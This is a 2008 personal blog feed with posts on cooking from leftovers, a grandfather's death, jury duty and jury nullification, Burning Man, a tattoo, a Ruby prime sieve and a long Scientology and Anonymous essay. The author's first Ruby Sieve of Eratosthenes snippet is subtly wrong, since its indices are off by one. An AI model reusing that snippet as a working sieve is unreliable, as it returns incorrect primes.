<p>* olive oil from one of the 3 or 4 unfinished bottles floating around.  Just a little bit - my first chance to try this awesome cast iron pan - part of a whole set I bought from a thrift store for $50 a while back.  While that was cooking, I got the idea to try something I had heard of, but wasn&#8217;t sure what it was: deglazing.  Huh, says you can use water, but wine is best.  I drank all that&#8230; except</p>
<p>* A mini bottle of Delicato White Zinfandel - 187 ml, a four pack of crappy wine my ex-gf bought and drank only one of.  Perfect!!!  I spent like 5-10 minutes pouring that in and scraping while the rice finished cooking, and even added a little teeny bit of:</p>
<p>* flour - left over from my bread machine experiments.  Ooh, this is working, I&#8217;ve got a sort of tasty little sauce going on here!  WTF! WWAD? (What Would Alton Do)</p>
<p>* Kosher salt.  I have no idea if this did anything useful, but I put some in.  Alton puts it in everything.  OK, one more item, something to pretend I&#8217;m being semi-healthy.  Aha!</p>
<p>* A can of peas, drained.  Again, no clue where I got this or how long it had been on the shelf.  It might&#8217;ve come back from Burning Man.  I threw the rice back into the deglazed pan, threw back in the sausage (which I had drained), and put in the peas.  I heated the whole mixture up in a pan, and am eating it from a bowl, and it&#8217;s pretty yummy.</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=0898151899&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span><br />
Did I do this &quot;right&quot;?  I have no clue, but it&#8217;s edible and totally from what I already had in the house.  I&#8217;m pretty proud of myself!</p>
<p>Honest, it&#8217;s been two weeks, I&#8217;ve only eaten outside food maybe three times, and I&#8217;ve still got 2 packages of tuna, 2 salmon steak, 1 crab, some sea scallops, 2 more sausages, chicken wings, frozen burgers, bread machine mix, frozen potatoes, soups, rice, noodles, etc.  Amazing the amount of stuff I&#8217;ve accumulated.</p>
<p>So I&#8217;m thinking I can go another two weeks of zero food budget, which is going to save me an insane amount compared to what I usually spend on restaurants, frozen meals and the like.  Seems healthier.</p>
<p>I&#8217;ve even got at least one or two more servings of this stuff!</p>
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		<title>my father passed away</title>
		<link>http://stephan.com/blog/2008/10/06/my-father-passed-away/</link>
		<comments>http://stephan.com/blog/2008/10/06/my-father-passed-away/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 18:13:08 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[personal news]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=471</guid>
		<description><![CDATA[Not sure if anyone is still reading here, but I thought I&#8217;d mention that my (grand)father passed away a couple of hours ago.
It&#8217;s not a terrible shock - he&#8217;s been declining for, years, really.  For a long time he&#8217;s been asking &#8220;why won&#8217;t jesus take me?&#8221; and wanting to die.  The past few [...]]]></description>
			<content:encoded><![CDATA[<p>Not sure if anyone is still reading here, but I thought I&#8217;d mention that my (grand)father passed away a couple of hours ago.</p>
<p>It&#8217;s not a terrible shock - he&#8217;s been declining for, years, really.  For a long time he&#8217;s been asking &#8220;why won&#8217;t jesus take me?&#8221; and wanting to die.  The past few weeks were getting really difficult.</p>
<p>I&#8217;ll probably be in Chicago within the next week.</p>
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		<title>re: jury duty</title>
		<link>http://stephan.com/blog/2008/09/27/re-jury-duty/</link>
		<comments>http://stephan.com/blog/2008/09/27/re-jury-duty/#comments</comments>
		<pubDate>Sat, 27 Sep 2008 14:50:36 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[experiences]]></category>

		<category><![CDATA[personal news]]></category>

		<category><![CDATA[politics]]></category>

		<category><![CDATA[thoughts/rants]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=469</guid>
		<description><![CDATA[I got called for jury duty this week, got released yesterday, here&#8217;s the description I wrote for my boss:
I got potentially picked for a jury, gang member with face tattoos, two counts (1) felony possession of firearm, (2) possession of marijuana with intent to sell. 36 brought in, 12 needed, 18 interviewed in the first [...]]]></description>
			<content:encoded><![CDATA[<p>I got called for jury duty this week, got released yesterday, here&#8217;s the description I wrote for my boss:</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=1878125028&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span>I got potentially picked for a jury, gang member with face tattoos, two counts (1) felony possession of firearm, (2) possession of marijuana with intent to sell. 36 brought in, 12 needed, 18 interviewed in the first pass. Defense burned witnesses like crazy, I got brought up the last of 6 more. I would have wound up an alternate for the 6-7 day trial, but&#8230;</p>
<p>I said I couldn&#8217;t convict a guy for possession of marijuana, that I&#8217;ve enjoyed it for 25 years and had a prescription, believed in <a href="http://en.wikipedia.org/wiki/Jury_nullification">jury nullification</a> and that the law was without merit. That if it was another drug, like meth, I could be fair, or if it was the gun charge alone. &#8220;What about selling it?&#8221; &#8220;Well, my best friend got through college like that. Look, this guy maybe had a gun, he&#8217;s obviously not the most friendly salesman in the world, but still, the law is wrong.&#8221; </p>
<p>The judge threatened me &#8220;well, then we&#8217;ll have to find you a civil case&#8221; - with the implication that if I wanted to act like that, he&#8217;d damn well find me a six month boring money case. I had to report back to the selection room after lunch. Lovely. Eh, I figured even it went a day or two longer than the last one, it would be better for my safety if this gangbanger didn&#8217;t see my face for a week - I can tell by his tattoos he was a &#8220;Lennox 13&#8243; from Van Nuys. </p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=1400076617&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span> But then, before I could even sit down, I got called back up and handed my certification, I was done. Nice! So, I&#8217;m all done. I feel sort of bad that I kinda weaseled out of it, but I stuck to my moral compass and got rewarded <img src='http://stephan.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>&#8211;<br />
update, a couple of months later: just before they called my jury, they picked a huge list of people and told them they could be on this case for <strong>SIXTY</strong> days - that&#8217;s about 3 months.  In retrospect, I think this means I just barely missed getting called for the <a href="http://en.wikipedia.org/wiki/Phil_Spector">Phil Spector</a> trial!</p>
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		<title>Send me mail in Black Rock City!</title>
		<link>http://stephan.com/blog/2008/08/24/send-me-mail-in-black-rock-city/</link>
		<comments>http://stephan.com/blog/2008/08/24/send-me-mail-in-black-rock-city/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 08:56:26 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[burning man]]></category>

		<category><![CDATA[personal news]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=467</guid>
		<description><![CDATA[Whoever is out there reading:
Did you know you can send mail TO Black Rock City?  Send me a letter or something!  My address for the next week is:

Cheruborg
Destiny Lounge
2:00 Portal (near the plaza)
c/o BRCPO
Burning Man
Gerlach, NV 89142
If I&#8217;ve got the postage, I&#8217;ll even write you back!  I&#8217;d send it by Wednesday if [...]]]></description>
			<content:encoded><![CDATA[<p>Whoever is out there reading:</p>
<p>Did you know you can send mail TO Black Rock City?  Send me a letter or something!  My address for the next week is:</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=0810992906&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span><br />
Cheruborg<br />
Destiny Lounge<br />
2:00 Portal (near the plaza)<br />
c/o BRCPO<br />
Burning Man<br />
Gerlach, NV 89142</p>
<p>If I&#8217;ve got the postage, I&#8217;ll even write you back!  I&#8217;d send it by Wednesday if I were you, though, or else it&#8217;ll likely bounce.</p>
<p>I&#8217;m just about done getting set up to set off tomorrow, arriving at Home on Monday AM.</p>
<p>http://www.blackrockcitypostoffice.org/</p>
]]></content:encoded>
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		<title>On the Playa - Destiny Lounge, 3:00 Keyhole</title>
		<link>http://stephan.com/blog/2008/08/21/on-the-playa-destiny-lounge-300-keyhole/</link>
		<comments>http://stephan.com/blog/2008/08/21/on-the-playa-destiny-lounge-300-keyhole/#comments</comments>
		<pubDate>Thu, 21 Aug 2008 05:44:39 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[burning man]]></category>

		<category><![CDATA[experiences]]></category>

		<category><![CDATA[personal news]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/2008/08/21/on-the-playa-destiny-lounge-300-keyhole/</guid>
		<description><![CDATA[It&#8217;s official! I&#8217;ve signed on with Destiny Lounge, practically on the Esplanade at 3:00 - I&#8217;d guess you&#8217;d call it &#8220;3:00 Portal&#8221;. 
Come on by and enjoy lemonade and iced tea, try our games, Fling Of Destiny and Rock Your Balls, and enjoy music by Spirit Fire. 
Can&#8217;t wait to see you all out there!
]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s official! I&#8217;ve signed on with <a href="http://destinylounge.outtatheway.com/">Destiny Lounge</a>, practically on the Esplanade at 3:00 - I&#8217;d guess you&#8217;d call it &#8220;3:00 Portal&#8221;. </p>
<p>Come on by and enjoy lemonade and iced tea, try our games, Fling Of Destiny and Rock Your Balls, and enjoy music by Spirit Fire. </p>
<p>Can&#8217;t wait to see you all out there!</p>
]]></content:encoded>
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		<title>My First Tattoo</title>
		<link>http://stephan.com/blog/2008/08/12/my-first-tattoo/</link>
		<comments>http://stephan.com/blog/2008/08/12/my-first-tattoo/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 16:11:29 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[art]]></category>

		<category><![CDATA[burning man]]></category>

		<category><![CDATA[experiences]]></category>

		<category><![CDATA[personal news]]></category>

		<category><![CDATA[photos]]></category>

		<category><![CDATA[religion]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=464</guid>
		<description><![CDATA[     Finished Product    Originally uploaded by StephanCom. 
I had planned this tattoo for over a year.  Once I decided I wanted the Burning Man logo, I started hunting for the &#34;correct&#34; version, only to find out there wasn&#8217;t one.
So, I designed this one - my idea of [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; margin-left: 10px; margin-bottom: 10px;"> <a href="http://www.flickr.com/photos/stephan/2756351176/" title="photo sharing"><img src="http://farm4.static.flickr.com/3112/2756351176_876628813c_m.jpg" alt="" style="border: solid 2px #000000;" /></a> <br /> <span style="font-size: 0.9em; margin-top: 0px;">  <a href="http://www.flickr.com/photos/stephan/2756351176/">Finished Product</a>  <br />  Originally uploaded by <a href="http://www.flickr.com/people/stephan/">StephanCom</a>. </span></div>
<p>I had planned this tattoo for over a year.  Once I decided I wanted the Burning Man logo, I started hunting for the &quot;correct&quot; version, only to find out there wasn&#8217;t one.</p>
<p>So, I designed this one - my idea of the &quot;ur-logo&quot; - and uploaded it to <a href="http://en.wikipedia.org/wiki/Image:Burning-Man.svg">Wikipedia</a>.  I put it on the <a href="http://en.wikipedia.org/wiki/Burning_Man#Principles">Burning Man article</a>, and it has been there for well over a year.</p>
<p>Well, I guess it&#8217;s &quot;official&quot; now!  Others have included it in their own Wikipedia efforts, so now it&#8217;s as close to definitive as something can be, at least in that one semi-important corner of the universe.</p>
<p>I&#8217;ve been putting it off forever, but decided I had to get it before this year&#8217;s burn, in time to be healed before I get to the playa.  Jake at Zap Tattoos on Melrose seemed like the right guy for the right price&#8230;</p>
<p>So, here we go!<br clear="all" /></p>
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		<title>affirmation</title>
		<link>http://stephan.com/blog/2008/06/17/affirmation/</link>
		<comments>http://stephan.com/blog/2008/06/17/affirmation/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 05:56:46 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[personal news]]></category>

		<category><![CDATA[thoughts/rants]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=462</guid>
		<description><![CDATA[While I confess to enjoying recreational drugs from time to time, aside from pot (which is, after all, legal medicine   I use them only rarely and with a great deal of consideration and respect.  This includes alcohol, quite possibly the worst of the lot in many ways.
I&#8217;ve really grown quite sick in [...]]]></description>
			<content:encoded><![CDATA[<p>While I confess to enjoying recreational drugs from time to time, aside from pot (which is, after all, legal medicine <img src='http://stephan.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I use them only rarely and with a great deal of consideration and respect.  This includes alcohol, quite possibly the worst of the lot in many ways.</p>
<p>I&#8217;ve really grown quite sick in recent months of being around them constantly.  I&#8217;ve decided to forbid in my apartment, until further notice, any drugs aside from pot and alcohol without advance approval.  Perhaps I&#8217;ll do some when I&#8217;m elsewhere ( )&#8217;( ?), perhaps I&#8217;ll change my mind (shrooms?)</p>
<p>But I&#8217;m tired of them at the moment, and particularly tired of people who put getting high first on their to-do list, and equally tired of drug dealers.  I do like drugs, but I like life better.</p>
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			<wfw:commentRss>http://stephan.com/blog/2008/06/17/affirmation/feed/</wfw:commentRss>
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		<title>Hitler Plans Burning Man</title>
		<link>http://stephan.com/blog/2008/05/27/hitler-plans-burning-man/</link>
		<comments>http://stephan.com/blog/2008/05/27/hitler-plans-burning-man/#comments</comments>
		<pubDate>Tue, 27 May 2008 11:37:03 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[burning man]]></category>

		<category><![CDATA[video clip]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=460</guid>
		<description><![CDATA[OMFG this is hilarious!!!

]]></description>
			<content:encoded><![CDATA[<p>OMFG this is hilarious!!!</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=B0009RCPUC&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/CV4i7dWeu0c&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/CV4i7dWeu0c&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
]]></content:encoded>
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		<title>Seive of Erastothenes in Ruby</title>
		<link>http://stephan.com/blog/2008/05/16/seive-of-erastothenes-in-ruby/</link>
		<comments>http://stephan.com/blog/2008/05/16/seive-of-erastothenes-in-ruby/#comments</comments>
		<pubDate>Fri, 16 May 2008 12:02:34 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=458</guid>
		<description><![CDATA[
n = 1000
seive = (1..n).to_a
2.upto(Math.sqrt(n)) { &#124;i&#124; (i*2).step(n,i) { &#124;x&#124; seive[x] = nil } }
p seive.compact
see also
wow looks like this guy has me beat
(2..1000).inject((2..1000).to_a) {&#124;res, i&#124; res.select{&#124;n&#124;n==i&#124;&#124;n%i!=0} }
]]></description>
			<content:encoded><![CDATA[<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=0976694042&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span></p>
<p>n = 1000<br />
seive = (1..n).to_a<br />
2.upto(Math.sqrt(n)) { |i| (i*2).step(n,i) { |x| seive[x] = nil } }<br />
p seive.compact</p>
<p><a href="http://www.livejournal.com/users/cheruborg/625109.html">see also</a></p>
<p>wow looks like <a href="http://blog.projectxtech.com/2006/10/12/prime-numbers-ruby-style/">this guy</a> has me beat<br />
(2..1000).inject((2..1000).to_a) {|res, i| res.select{|n|n==i||n%i!=0} }</p>
]]></content:encoded>
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		<title>space filling surface</title>
		<link>http://stephan.com/blog/2008/05/06/space-filling-surface/</link>
		<comments>http://stephan.com/blog/2008/05/06/space-filling-surface/#comments</comments>
		<pubDate>Tue, 06 May 2008 09:04:01 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[burning man]]></category>

		<category><![CDATA[personal news]]></category>

		<category><![CDATA[photos]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=456</guid>
		<description><![CDATA[
     Space filling surface    Originally uploaded by StephanCom. 
Cleaning and test
]]></description>
			<content:encoded><![CDATA[<p><span class="amazonify_product"><iframe align="left"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=B000W7BHJY&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span>
<div style="float: right; margin-left: 10px; margin-bottom: 10px;"> <a href="http://www.flickr.com/photos/stephan/2472120340/" title="photo sharing"><img src="http://farm4.static.flickr.com/3231/2472120340_45ec15872a_m.jpg" alt="" style="border: solid 2px #000000;" /></a> <br /> <span style="font-size: 0.9em; margin-top: 0px;">  <a href="http://www.flickr.com/photos/stephan/2472120340/">Space filling surface</a>  <br />  Originally uploaded by <a href="http://www.flickr.com/people/stephan/">StephanCom</a>. </span></div>
<p>Cleaning and test<br clear="all" /></p>
]]></content:encoded>
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		<title>mozilla mazola</title>
		<link>http://stephan.com/blog/2008/03/10/mozilla-mazola/</link>
		<comments>http://stephan.com/blog/2008/03/10/mozilla-mazola/#comments</comments>
		<pubDate>Mon, 10 Mar 2008 15:21:58 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<category><![CDATA[art]]></category>

		<category><![CDATA[products]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=454</guid>
		<description><![CDATA[
     Mazolla    Originally uploaded by StephanCom. 

]]></description>
			<content:encoded><![CDATA[<p><span class="amazonify_product"><iframe align="left"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=B0002XIB1A&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span><span class="amazonify_product"><iframe align="left"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=0596000529&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span></p>
<div style="float: right; margin-left: 10px; margin-bottom: 10px;"> <a href="http://www.flickr.com/photos/stephan/2325009867/" title="photo sharing"><img src="http://farm3.static.flickr.com/2257/2325009867_146a4f9f49_m.jpg" alt="mazola mozilla" style="border: solid 2px #000000;" /></a> <br /> <span style="font-size: 0.9em; margin-top: 0px;">  <a href="http://www.flickr.com/photos/stephan/2325009867/">Mazolla</a>  <br />  Originally uploaded by <a href="http://www.flickr.com/people/stephan/">StephanCom</a>. </span></div>
<p><br clear="all" /></p>
]]></content:encoded>
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		<title>scientopologetics; re: Anonymous</title>
		<link>http://stephan.com/blog/2008/02/10/scientopologetics-re-anonymous/</link>
		<comments>http://stephan.com/blog/2008/02/10/scientopologetics-re-anonymous/#comments</comments>
		<pubDate>Sun, 10 Feb 2008 15:59:53 +0000</pubDate>
		<dc:creator>stephan</dc:creator>
		
		<category><![CDATA[groundless speculation]]></category>

		<category><![CDATA[politics]]></category>

		<category><![CDATA[religion]]></category>

		<category><![CDATA[thoughts/rants]]></category>

		<category><![CDATA[writing]]></category>

		<guid isPermaLink="false">http://stephan.com/blog/?p=452</guid>
		<description><![CDATA[I am not a scientologist.
Let&#8217;s begin there.
I have never given money to the Church of Scientology, nor do I intend to.
I can believe that a second-rate science fiction writer with a checkered past could come up with something useful.  L. Ron Hubbard was plainly a smart man.  I can imagine a 1950&#8217;s engineering [...]]]></description>
			<content:encoded><![CDATA[<p>I am not a scientologist.</p>
<p>Let&#8217;s begin there.</p>
<p>I have never given money to the Church of Scientology, nor do I intend to.</p>
<p>I can believe that a second-rate science fiction writer with a checkered past could come up with something useful.  L. Ron Hubbard was plainly a smart man.  I can imagine a 1950&#8217;s engineering type with a can-do attitude deciding to treat consciousness as a machine and working out something good.  Perhaps a simple Wheatstone bridge really can be used as a debugging tool for the mind - why not?</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=088404632X&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span>I have read every insider scrap of information I could find with an open heart and mind.  I&#8217;ve downloaded torrents from the internet of pirated documents, though (surprisingly!) little is available.  I can find first-run movies more easily than, say, a copy of Dianetics.</p>
<p>Much of what I have read is compelling and intriguing.  I don&#8217;t entirely understand it - because I don&#8217;t wish to spend the time or money involved to learn - but passages remind me of garbage-collection algorithms one might learn in LISP class.  Other parts seem to contain instructions for living, simple ways to identify and improve little things in your life.  I find myself reminded of things I&#8217;ve read in my daily life, or using the jargon, words like &#8216;enturbulated&#8217;, &#8220;ARC breaks&#8221; because they seem to describe things that have no other word.</p>
<p>I&#8217;ve even read the OTIII materials - out of respect for Scientologists who may, somehow, read this blog, I shan&#8217;t repeat their contents.  Ummm, but I didn&#8217;t get pneumonia or nothin&#8217;.  The story told is, perhaps, absurd - but I grew up on science fiction, such a tale rings more true to me than a man nailed to a tree.  Perhaps it&#8217;s meant as a metaphor, or perhaps Scientology works by brainwashing its followers to believe, in a sense, that the map is the territory; that a useful story is literally true.  The tales of clams and gorillas may have value just as the parable of the mustard seed.  Perhaps it is all literally true - why not?  The very advanced readings remind me of The Matrix, and aren&#8217;t entirely at odds with modern theories of cosmology.</p>
<p>I have not currently decided one way or the other if Scientology is bullshit or not.</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=B00094ASC2&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span><br />
I have come to deeply question the psychological establishment.  A guy in the late 1800&#8217;s writes a book claiming that every man wants to have sex with his mother, and the whole world suddenly says &#8220;hey, yeah, that sounds about right!&#8221;  Today the psychological community, in conjunction with big Pharma, has tremendous sway - the right to lock people up against their will, pump them full of drugs - and half a lifetime ago, even scramble people&#8217;s brains with an icepick on a fine thursday afternoon in the doctor&#8217;s office.  Psychologists are now the government-appointed acolytes of emotion, dispatched in squads to school shootings and disaster sites, scribbling prescriptions for Prozac as fast as their brave new fingers can move.  Perhaps Scientologists are doing the right thing by sending out their own disaster squads?</p>
<p>It seems clear from the preponderance of evidence that Scientology is responsible for the death of Lisa McPherson, perhaps others.  How many die in psychiatric hospitals every day?  It&#8217;s not uncommon at all.  The more I learn of the practice of psychiatry, the more their fervor against it seems sensible - even compassionate.  However, many of the alleged Scientology deaths are suicides - when a jew, a muslim, or a christian commits suicide, is their faith blamed?  Perhaps.  Catholics still manage to kill off a few possessed people in exorcisms.  Shit happens.  </p>
<p>There is certainly something wrong with the Church of Scientology, as an entity distinct from what followers call &#8220;the tech.&#8221;  However, most of this wrongness seems to stem from attitudes forged in Hubbard-era notions of intellectual property.  The Church&#8217;s tactic of charging for services is a quite reasonable choice for a viral jacket to coat the meme of the Tech.  It ensures the stability and long term survival of the organization and its ability to distribute the - ahem - holy texts.  I could compare this quite favorably to the Catholic church&#8217;s long-standing proscription against birth control; in the long term, more believers are produced.  (I have a friend who lives across the street from your celebrity center, with pre-clears in constant bicycle orbit around it&#8230;  creepy, but I can&#8217;t help but be reminded of the Swiss Guard keeping the popes safe)</p>
<p>This was a brilliant tactic in the 16th century.  It doesn&#8217;t make much sense anymore, but the church sticks with it.  Scientology&#8217;s tactic - protect the meme with money and manipulation - was a brilliant tactic in the 1950&#8217;s.  It doesn&#8217;t make much sense anymore.</p>
<p><span class="amazonify_product"><iframe align="right"  src="http://rcm.amazon.com/e/cm?t=stephan&o=1&p=8&l=as1&asins=B000FI73MA&fc1=000000&IS2=1&lt1=_blank&lc1=0000FF&bc1=000000&bg1=FFFFFF&f=ifr&nou=1" style="width:120px;height:240px;margin:7px;" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"></iframe></span><br />
Scientology needs to open the tech.  Please, if it is truly worth something, share it with the world.  Perhaps you&#8217;re right, that once one is open to it, reading the wrong things too fast can harm you - so just release the first part.  Release Dianetics and other books to creative commons - this will ensure its survival in today&#8217;s world far better than titanium vaults.  The copyright is going to expire eventually anyway - hm, though not if Disney has anything to say about it&#8230; The E-meter patents have already long expired.  The Gideons seem to do OK.  Software companies have shown that you can open source your technology and still make money - the church can certainly still charge for auditing services, for paper copies of the material, for classroom instruction, plasticine clay, jewelry, DVD&#8217;s and the like - and surely your believers might prefer to review their materials on a ebook reader such as Amazon&#8217;s Kindle?  Save the trees for Ron&#8217;s sake! </p>
<p>And now, to Anonymous.  I am with you in spirit, but I cannot in good faith join you.  I applaud your collectively conscious flash mobbery, I cheer for the success of a truly twenty-first century movement.  But I can&#8217;t help but wonder who is pulling your strings&#8230;  Are you, perhaps, a creation of Scientology itself, drawing more publicity to the church - perhaps CoS itself wants to become a private corporation?  Are you driven by the squirrels - a term I use affectionately, as I think they&#8217;re fighting the good fight - true LRH followers with an axe to grind and wish to take down the org?  </p>
<p>Or are you just (brilliant!) memehackers out for a joyride?  If so, you&#8217;re bullies, picking on a silly target that is easy to deride and has little meaning.  Or are you part of some larger conspiracy?  I sneer, ordinarily, at such theories; man really did land on the moon, Oswald really shot JFK, and 9/11 was really the work of a dozen fanatics funded by other fanatics, not a diabolical creation of Dick Cheney.  However, Anonymous, you are by definition a conspiracy.  Putting the IRS against Scientology?  There are quite a few conspiracy theorists and presidential candidates who have some interesting things to say about that arm of the government, not to mention the Federal Reserve.  What&#8217;s really driving you?  Perhaps someone wants to balance the budget by sucking money out of a big organization?</p>
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I am disturbed that I cannot find a single intelligent argument against the faith and teachings of Scientology.  Digg and YouTube are awash with childish responses, full of boorish sentiment and third-grade spelling, &#8220;What idiots they believe XYZ,&#8221;  &#8220;Tom Cruise is a retard.&#8221;  I&#8217;ve watched the video of Mr Cruise - critics refer to him as crazy, but he looks to me like an enthusiastic, passionate person - what Scientologists refer to as &#8220;high tone.&#8221;  Since when is happiness supposed to be bad?  Perhaps since the psychiatric community has us so focused on dysfunction that we hardly recognize function when we see it.</p>
<p>I&#8217;ve read reports from outsiders who have left.  Many still seem to respect the tech, while cursing the church.  Others seem to have not &#8220;gotten it&#8221; - and oddly, I find their writing to be, umm, not indicative of a particularly intelligent author.  I suspect that the training isn&#8217;t that expensive and doesn&#8217;t take that long if you&#8217;re intelligent - but if you&#8217;re stupid&#8230;  You might get your bank account cleaned out.  That&#8217;ll give you a cognition eventually!</p>
<p>That there are a lot of things that don&#8217;t add up, on both sides of the equation.  I don&#8217;t think Anonymous will have much affect on the church, but I won&#8217;t be surprised if I&#8217;m very wrong about that.  I suspect that David Misgavige will be forced to step down, like other religious leaders whose hypocrisy is exposed&#8230;  except that no one has accused him of any real hypocrisy - after all, his religious beliefs don&#8217;t include abstention from sex or pork - what has he done wrong, precisely, aside from run a successful organization?  I mean, it&#8217;s not like anyone has caught him with a gay hooker and a bag of meth, and the gay hooker wouldn&#8217;t even be (strongly) against the beliefs of the church.</p>
<p>But why has the church not responded in an open, intelligent manner?  Where are the counter-videos?  Are the followers so isolated from the outside world that they are truly unaware anything is going on?  Where are the pro-scientology blogs?  Where is any information that doesn&#8217;t read as a sales pitch guiding one down an endless hall of mirrors towards an egress forever out of reach?  I can&#8217;t throw a stone without hitting an evangelical in the USA, just dying to tell me all about jeee-zuz, and they don&#8217;t really hit me up for money.</p>
<p>Scientology, open the Tech.  Release it to the world.  A classmate refused to loan me Dianetics over twenty years ago, insisting that I pay him for it - and thus, I never read it.  Make Dianetics a free downloadable PDF, and I will read it, and I expect many others will, too.  With my own free will I can decide if I wish to continue, and find out for myself if, as you say, what&#8217;s true for me is true.</p>
<p>Anonymous, leave them the fuck alone.  Go after a real target, the republicans, the democrats, the lawyers, the miltary-industrial-pharmacological complex.  If you must go after Scientology&#8230; well, why don&#8217;t YOU open the tech?  That&#8217;s the biggest thing that makes me wonder if you&#8217;re working for them.  Forget the secret documents scraped from a German trial, why not just go buy a copy of Dianetics, scan it, and put out a torrent?  Perhaps steal some of the other documents, the videos, the audiobooks.  That would be some damage, and would take less effort than a mass protest.  Are you working for them - or are you afraid that if people like me read it&#8230; it might make sense?</p>
<p>Here&#8217;s looking at the back of your head&#8230;</p>
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